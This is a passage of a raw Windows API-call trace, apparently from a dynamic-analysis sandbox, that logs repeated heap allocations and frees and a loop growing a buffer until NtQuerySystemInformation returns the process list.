(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0152.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85ff70 [0152.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0152.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0152.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85ff70 [0152.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9ef70 [0152.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ef70) returned 1 [0152.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0152.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0152.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0152.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0152.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85ff70 [0152.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0152.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85ff70 [0152.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0152.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0152.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85ff70 [0152.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85ff70 [0152.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0152.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42390080) returned 1 [0152.518] Sleep (dwMilliseconds=0x64) [0152.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x4262e500 [0152.659] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4262e500, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x4262e500, ResultLength=0x0) returned 0xc0000004 [0152.663] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x4262e500, Size=0x2048) returned 0x4264e500 [0152.673] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4264e500, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4264e500, ResultLength=0x0) returned 0xc0000004 [0152.673] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x4264e500, Size=0x306c) returned 0x4268e500 [0152.680] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4268e500, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4268e500, ResultLength=0x0) returned 0xc0000004 [0152.681] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x4268e500, Size=0x4090) returned 0x1cdd8c30 [0152.681] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cdd8c30, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x1cdd8c30, ResultLength=0x0) returned 0xc0000004 [0152.681] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cdd8c30, Size=0x50b4) returned 0x1cdd8c30 [0152.681] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cdd8c30, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x1cdd8c30, ResultLength=0x0) returned 0xc0000004 [0152.682] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cdd8c30, Size=0x60d8) returned 0x1cdd8c30 [0152.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cdd8c30, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x1cdd8c30, ResultLength=0x0) returned 0xc0000004 [0152.682] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cdd8c30, Size=0x70fc) returned 0x1cdd8c30 [0152.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cdd8c30, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x1cdd8c30, ResultLength=0x0) returned 0xc0000004 [0152.682] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cdd8c30, Size=0x8120) returned 0x426ce4d0 [0152.683] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.683] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0x9144) returned 0x426ce4d0 [0152.684] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.684] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0xa168) returned 0x426ce4d0 [0152.684] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.685] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0xb18c) returned 0x426ce4d0 [0152.685] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.685] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0xc1b0) returned 0x426ce4d0 [0152.685] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.686] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0xd1d4) returned 0x426ce4d0 [0152.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.686] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0xe1f8) returned 0x426ce4d0 [0152.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.687] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0xf21c) returned 0x426ce4d0 [0152.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.687] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0x10240) returned 0x426ce4d0 [0152.688] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.688] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0x11264) returned 0x426ce4d0 [0152.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.689] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0x12288) returned 0x426ce4d0 [0152.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.690] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0x132ac) returned 0x426ce4d0 [0152.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.690] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0x142d0) returned 0x426ce4d0 [0152.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.691] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0x152f4) returned 0x426ce4d0 [0152.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.691] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0x16318) returned 0x426ce4d0 [0152.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.692] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0x1733c) returned 0x1cda08c0 [0152.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0152.693] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x18360) returned 0x1cda08c0 [0152.693] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0152.693] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x19384) returned 0x42390080 [0152.693] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42390080, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x42390080, ResultLength=0x0) returned 0xc0000004 [0152.694] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42390080, Size=0x1a3a8) returned 0x42390080 [0152.694] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42390080, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x42390080, ResultLength=0x0) returned 0xc0000004 [0152.694] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42390080, Size=0x1b3cc) returned 0x42390080 [0152.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42390080, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x42390080, ResultLength=0x0) returned 0xc0000004 [0152.695] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42390080, Size=0x1c3f0) returned 0x42390080 [0152.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42390080, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x42390080, ResultLength=0x0) returned 0xc0000004 [0152.696] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42390080, Size=0x1d414) returned 0x42390080 [0152.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42390080, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x42390080, ResultLength=0x0) returned 0xc0000004 [0152.696] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42390080, Size=0x1e438) returned 0x42390080 [0152.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42390080, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x42390080, ResultLength=0x0) returned 0xc0000004 [0152.697] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42390080, Size=0x1f45c) returned 0x426ce4d0 [0152.702] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.702] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0x20480) returned 0x426ce4d0 [0152.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.703] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0x214a4) returned 0x426ce4d0 [0152.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0xc0000004 [0152.704] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x426ce4d0, Size=0x224c8) returned 0x426ce4d0 [0152.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x426ce4d0, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x426ce4d0, ResultLength=0x0) returned 0x0 [0152.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0152.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0152.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x174b90 [0152.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0152.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0152.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0152.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85ff70 [0152.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85ff70 [0152.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0152.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85ff70 [0152.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85ff70 [0152.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0152.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0152.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0152.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85ff70 [0152.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9ef70 [0152.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ef70) returned 1 [0152.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82bfe0 [0152.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bfe0) returned 1 [0152.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85ff70 [0152.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9ef70 [0152.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ef70) returned 1 [0152.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82bfe0 [0152.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bfe0) returned 1 [0152.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9ef70 [0152.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ef70) returned 1 [0152.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85ff70 [0152.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0152.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85ff70 [0152.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0152.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0152.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0152.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0152.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0152.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85ff70 [0152.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0152.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 